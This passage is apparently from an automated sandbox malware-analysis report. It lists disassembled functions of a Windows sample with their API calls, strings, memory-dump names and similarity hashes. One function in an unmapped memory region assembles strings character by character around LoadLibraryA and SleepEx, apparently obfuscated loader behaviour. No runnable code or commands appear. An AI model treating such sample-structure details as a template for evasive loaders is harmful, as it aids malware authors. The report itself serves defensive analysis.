RtlVirtualUnwind.KERNEL32 ref: 00000001400082E4
IsDebuggerPresent.KERNEL32 ref: 000000014000831D
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140008327
UnhandledExceptionFilter.KERNEL32 ref: 0000000140008332

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 4e319d0093985bc080cbc2daae4a5a4104123b95aa356b5be18928fd961074a8
Instruction ID: 78d5835676cf84a3f3559e45bea4fc867b78f14f8466544f311317fe0b1257a1
Opcode Fuzzy Hash: 4e319d0093985bc080cbc2daae4a5a4104123b95aa356b5be18928fd961074a8
Instruction Fuzzy Hash: B2314972204B8096EB65CB26E8403EE73A4F788798F540126EB9D47BA9EF38C5558B00

Function 0000000140004094 Relevance: 7.6, APIs: 5, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00000001400040D0
StrCpyW.SHLWAPI ref: 000000014000410C
PathAppendW.SHLWAPI ref: 000000014000411C
StrCatW.SHLWAPI ref: 0000000140004130
FindFirstFileW.KERNEL32 ref: 000000014000414B

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: File$AppendFindFirstModuleNamePath
String ID:
API String ID: 2030518614-0
Opcode ID: dbe4185055809a95a0eac1771931ccaa00f21d04fdc49e02113e7dde96a34110
Instruction ID: 13494c8395834e9dc15df4e1537e68775d7893550f1ec515199dbd1a31cf0460
Opcode Fuzzy Hash: dbe4185055809a95a0eac1771931ccaa00f21d04fdc49e02113e7dde96a34110
Instruction Fuzzy Hash: D52190B2210A84A9EB33CF36EC047DA2760F7483EDF005221EB194B9F9DA75C289C744

Function 000000014000A914 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014000A954

Part of subcall function 0000000140008444: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,0000000140008422), ref: 000000014000844D
Part of subcall function 0000000140008444: GetCurrentProcess.KERNEL32(?,?,?,?,0000000140008422), ref: 0000000140008471

Strings

*, xrefs: 000000014000A97B
., xrefs: 000000014000AD8C
., xrefs: 000000014000AD9B

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: *$.$.
API String ID: 4036615347-2112782162
Opcode ID: c364aa7ecad30e1254029f38b6a57422b9c5e363ee4b37ae7658774aa9e75e39
Instruction ID: 624643d2af3229b99a819bc328ec9822a876d738f59f95453bcddc7472bd1619
Opcode Fuzzy Hash: c364aa7ecad30e1254029f38b6a57422b9c5e363ee4b37ae7658774aa9e75e39
Instruction Fuzzy Hash: 6451EDB2B10A5485FB12DBA7A9407ED73E0B749BD8F548126EF5927BA5EF38C042C300

Function 00000001400046C8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140004729
IsDebuggerPresent.KERNEL32 ref: 0000000140004741
OutputDebugStringW.KERNEL32 ref: 0000000140004752

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000000014000474B

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 84d04b534f0832b10a89640bf131631096d3170d9866c81e3a2688c7e5cda54f
Instruction ID: 9d174ee9d58f08d33f221478d192a68120145db8746fe30f656db89f5d9125e9
Opcode Fuzzy Hash: 84d04b534f0832b10a89640bf131631096d3170d9866c81e3a2688c7e5cda54f
Instruction Fuzzy Hash: F411AC72210B80A7F74ADB23E6443E973A0FB483C0F404524EB5987AA2EF79D074C700

Function 000000014000AB44 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

., xrefs: 000000014000AD8C

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: b244cf1de7db0b0d67af211d7cb1131ba2d79bbee309d1a629165df779e31f8e
Instruction ID: 65fe904cf7ba262de353ee627477bf0c51d5cb77785aa7483af7b2b631f21bdf
Opcode Fuzzy Hash: b244cf1de7db0b0d67af211d7cb1131ba2d79bbee309d1a629165df779e31f8e
Instruction Fuzzy Hash: 7A3123B271068445EB61DB37A804BEAB791F39ABE4F548625BF6A07BE5DA3CC4018300

Function 000000014000F6B8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000000014000F905
RaiseException.KERNEL32 ref: 000000014000F916

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 5206326f4560dfc180925b3f6828435af6a3195b703b0436355fed7301d20b3a
Instruction ID: 8280efab88331e923b2d5ffd7080e814f94fcf89afacba91d784502ee77bfab9
Opcode Fuzzy Hash: 5206326f4560dfc180925b3f6828435af6a3195b703b0436355fed7301d20b3a
Instruction Fuzzy Hash: EFB12CB7610B888BEB56CF2AD4453A87BA0F388B88F15C915EB5D87BB4CB39C451D701

Function 0000000140009248 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 0000000140009284

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c41a1cc13bc989c7c1bf62f537727569f62d510875ace651041afa3cfe282a66
Instruction ID: 0d5486c96558b43546ee77247e0be0d7310829cdcb12e311ee62cb0fd08255b1
Opcode Fuzzy Hash: c41a1cc13bc989c7c1bf62f537727569f62d510875ace651041afa3cfe282a66
Instruction Fuzzy Hash: 39416FB2310A4886EA49CF6AE5543D9B3A1F34CFC4F499026EF5D8B7A4EA3DC5468300

Function 00000001400010FC Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d4144b779dec8c52e7fdaa5c7305b7d99a61cd7e10e9453af49e76d1bb080b1
Instruction ID: c33aa83fde480e7d9ea5238ffe0d1e9cac7217e076ad76c79a130d7b7b159366
Opcode Fuzzy Hash: 1d4144b779dec8c52e7fdaa5c7305b7d99a61cd7e10e9453af49e76d1bb080b1
Instruction Fuzzy Hash: 460190F0F255AD09FF599873AA257E240424369BD0C09E030DE0C7BB88E06D9D824104

Function 000000014000F290 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d03fc386cee5edb1382ea40f6ffc4ef11c987e5dd3c396b5bc239094b71504e1
Instruction ID: d5343f999d37678c060b61efe1f76388260f4d72a62b965f4d01a54797dc4237
Opcode Fuzzy Hash: d03fc386cee5edb1382ea40f6ffc4ef11c987e5dd3c396b5bc239094b71504e1
Instruction Fuzzy Hash: A3F062B17282948BDBAACF2DA802B5977E0F30C3C4F908029E68987F54D37DC0609F04

Function 000000014000510C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5dcecb1721a6c2a0bdcdca376210b99c52dd83875adeac6d3bd41af53d55e2
Instruction ID: cc727b492c041beb5a92ad447fd2a0eb8db98e9993b8da34eebdf01610c1968c
Opcode Fuzzy Hash: 2a5dcecb1721a6c2a0bdcdca376210b99c52dd83875adeac6d3bd41af53d55e2
Instruction Fuzzy Hash: 56A00271154C08E0E70ADB02F8617E56330E39A389F404091E71D47071DB39C841C344

Function 005AB525 Relevance: 64.8, APIs: 1, Strings: 36, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 005ABC65: LoadLibraryA.KERNELBASE ref: 005ABCD2

SleepEx.KERNELBASE ref: 005AB60B

Strings

e, xrefs: 005AB531
s, xrefs: 005AB575
e, xrefs: 005AB5CF
2, xrefs: 005AB54F
s, xrefs: 005AB646
S, xrefs: 005AB5C5
d, xrefs: 005AB559
r, xrefs: 005AB536
r, xrefs: 005AB62D
EpS, xrefs: 005AB651
e, xrefs: 005AB5D4
., xrefs: 005AB59D
t, xrefs: 005AB623
c, xrefs: 005AB637
l, xrefs: 005AB563
e, xrefs: 005AB540
2, xrefs: 005AB595
3, xrefs: 005AB58D
l, xrefs: 005AB55E
n, xrefs: 005AB53B
e, xrefs: 005AB57D
3, xrefs: 005AB54A
r, xrefs: 005AB585
l, xrefs: 005AB5CA
p, xrefs: 005AB5D9
l, xrefs: 005AB5AD
d, xrefs: 005AB5A5
l, xrefs: 005AB545
P, xrefs: 005AB628
e, xrefs: 005AB63C
., xrefs: 005AB554
s, xrefs: 005AB641
k, xrefs: 005AB52C
o, xrefs: 005AB632
u, xrefs: 005AB56D
l, xrefs: 005AB5B5

Memory Dump Source

Source File: 00000000.00000002.3287953577.00000000005AB000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab000_1387457-38765948.jbxd

Similarity

API ID: LibraryLoadSleep
String ID: .$.$2$2$3$3$EpS$P$S$c$d$d$e$e$e$e$e$e$k$l$l$l$l$l$l$n$o$p$r$r$r$s$s$s$t$u
API String ID: 2118945035-4201720986
Opcode ID: 021ec8aca0d749c274d7480b5682be404f749c653c6b4338c4e8b6d91ade5567
Instruction ID: 29f2e0270e7db93dc08e2375d5cb1e6f611586abf49fafa0af259c28d4224597
Opcode Fuzzy Hash: 021ec8aca0d749c274d7480b5682be404f749c653c6b4338c4e8b6d91ade5567
Instruction Fuzzy Hash: D6416D2050C7C0C9E3629778845979FFFE26BA3748F48489DA1C94A293CBFB85588777

Function 0000000140004844 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000000140004869
GetModuleHandleW.KERNEL32 ref: 0000000140004877
GetModuleHandleW.KERNEL32 ref: 000000014000488D
GetProcAddress.KERNEL32 ref: 00000001400048AA
GetProcAddress.KERNEL32 ref: 00000001400048BE
GetProcAddress.KERNEL32 ref: 00000001400048D2
__scrt_initialize_onexit_tables.LIBCMT ref: 0000000140004936
CreateEventW.KERNEL32(0000000140003D43), ref: 000000014000496B
__scrt_fastfail.LIBCMT ref: 0000000140004990
__scrt_fastfail.LIBCMT ref: 000000014000499B
DeleteCriticalSection.KERNEL32 ref: 00000001400049AF
CloseHandle.KERNEL32 ref: 00000001400049C1

Strings

kernel32.dll, xrefs: 0000000140004886
SleepConditionVariableCS, xrefs: 00000001400048B4
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0000000140004870
InitializeConditionVariable, xrefs: 00000001400048A0
WakeAllConditionVariable, xrefs: 00000001400048C8

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: AddressHandleProc$CriticalModuleSection__scrt_fastfail$CloseCountCreateDeleteEventInitializeSpin__scrt_initialize_onexit_tables
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3861935373-1714406822
Opcode ID: 23178e0efa6d8e425eb324706edc119e6ca7b7928795a1b163fb530ddc4d6ce4
Instruction ID: 0788782dd8a65418c3989520a7403c478861d70f7c8d39ef9c9ca7ea77e151ee
Opcode Fuzzy Hash: 23178e0efa6d8e425eb324706edc119e6ca7b7928795a1b163fb530ddc4d6ce4
Instruction Fuzzy Hash: CF412EB0201B4182FB1BDB26F8503D56361AB8E7D1F985125AB1E4B7B6DF3EC545C305

Function 0000000140004D90 Relevance: 15.1, APIs: 10, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 0000000140004D9F

Part of subcall function 0000000140004A08: __vcrt_initialize.LIBVCRUNTIME ref: 0000000140004A2A

__scrt_acquire_startup_lock.LIBCMT ref: 0000000140004DB4
__scrt_release_startup_lock.LIBCMT ref: 0000000140004E22
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 0000000140004E38
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 0000000140004E64
__scrt_get_show_window_mode.LIBCMT ref: 0000000140004E75
__scrt_is_managed_app.LIBCMT ref: 0000000140004E98
__scrt_uninitialize_crt.LIBCMT ref: 0000000140004EAF
__scrt_fastfail.LIBCMT ref: 0000000140004EE1
__scrt_fastfail.LIBCMT ref: 0000000140004EEC

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: __scrt_fastfail__scrt_is_nonwritable_in_current_image$__scrt_acquire_startup_lock__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 1664584033-0
Opcode ID: 472436d1f049dd52d889ebb830c91296deb9e460af84f85dba26e50def9a7604
Instruction ID: 233db52ef5ef4436f2406ba2e64883877d3cbfed7755f5fbf8731bd3284d5728
Opcode Fuzzy Hash: 472436d1f049dd52d889ebb830c91296deb9e460af84f85dba26e50def9a7604
Instruction Fuzzy Hash: 2C316BF120464586FB67FB67F4613E92291AB8D7C4F444025BB4A0BAF7DE79C8048349

Function 0000000140004960 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

__scrt_initialize_onexit_tables.LIBCMT ref: 0000000140004936
CreateEventW.KERNEL32(0000000140003D43), ref: 000000014000496B
__scrt_fastfail.LIBCMT ref: 0000000140004985

Part of subcall function 0000000140004C68: _onexit.LIBCMT ref: 0000000140004C6C

__scrt_fastfail.LIBCMT ref: 0000000140004990
__scrt_fastfail.LIBCMT ref: 000000014000499B
DeleteCriticalSection.KERNEL32 ref: 00000001400049AF
CloseHandle.KERNEL32 ref: 00000001400049C1

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: __scrt_fastfail$CloseCreateCriticalDeleteEventHandleSection__scrt_initialize_onexit_tables_onexit
String ID:
API String ID: 3164422487-0
Opcode ID: 83cd550192942f7becd0f849c71b4693efbe5731a5386cace0302889684c6273
Instruction ID: 2592f0b118721ef6636a6a489feb38ed522fdd02e52cc67dd3d5f5cb9945c00e
Opcode Fuzzy Hash: 83cd550192942f7becd0f849c71b4693efbe5731a5386cace0302889684c6273
Instruction Fuzzy Hash: EA017CB060260082FB5AEB72F4513E91250AF8E3C0F841429BB0E0B6F3CE3AD445C609

Function 00000001400089E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000000140008A04
GetProcAddress.KERNEL32 ref: 0000000140008A1A
FreeLibrary.KERNEL32 ref: 0000000140008A3F

Strings

mscoree.dll, xrefs: 00000001400089FB
CorExitProcess, xrefs: 0000000140008A13

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1872a58244535851d29ff8dd527ccca21a8c7e2e43d0e59298a4f4627e764fc2
Instruction ID: 718dad1abc3a16d5621db6fd105de10dce4bca97f4cd99b75eadd5381403e9fa
Opcode Fuzzy Hash: 1872a58244535851d29ff8dd527ccca21a8c7e2e43d0e59298a4f4627e764fc2
Instruction Fuzzy Hash: 21F04971711B8082EF5A8B12F4903E92360BBCCBD0F48501ABB4B4B675DE7CC599C700

Function 000000014000E5BC Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014000E601

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e41b20cec72f5249f04b32754f850369c2c37b01f5cce8c2ea33383d58ca69fc
Instruction ID: 17dcab79655dc74da92e90312785fc0d5e90b3d65ddbad97e9544b5806760717
Opcode Fuzzy Hash: e41b20cec72f5249f04b32754f850369c2c37b01f5cce8c2ea33383d58ca69fc
Instruction Fuzzy Hash: EB818AB2B10A9099FB66DB67A8807ED67A0B34CBC8F444116FF0A677B5DB35C446C710

Function 000000014000DF30 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,000000014000E763), ref: 000000014000DF8D
WideCharToMultiByte.KERNEL32 ref: 000000014000E069
WriteFile.KERNEL32 ref: 000000014000E08F
WriteFile.KERNEL32 ref: 000000014000E0CE
GetLastError.KERNEL32 ref: 000000014000E106

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 9e95024c4d837dc4ab072ebc8e89ac285f20d477f44c1b6abb523d34418a7719
Instruction ID: c271293a2d50c27e3f1adf003554f2f60c3133e0711f862266d0d5286f668a9b
Opcode Fuzzy Hash: 9e95024c4d837dc4ab072ebc8e89ac285f20d477f44c1b6abb523d34418a7719
Instruction Fuzzy Hash: 22519F72B20A9089E712CB76E8443EC7BB1F748BD8F048116EF5A57BA9DB74C196C710

Function 000000014000A2A4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,FFFFFFFF,000000014000A57F,?,?,00000000,0000000140009FEB,?,?,?,000000014000854D), ref: 000000014000A3C6

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
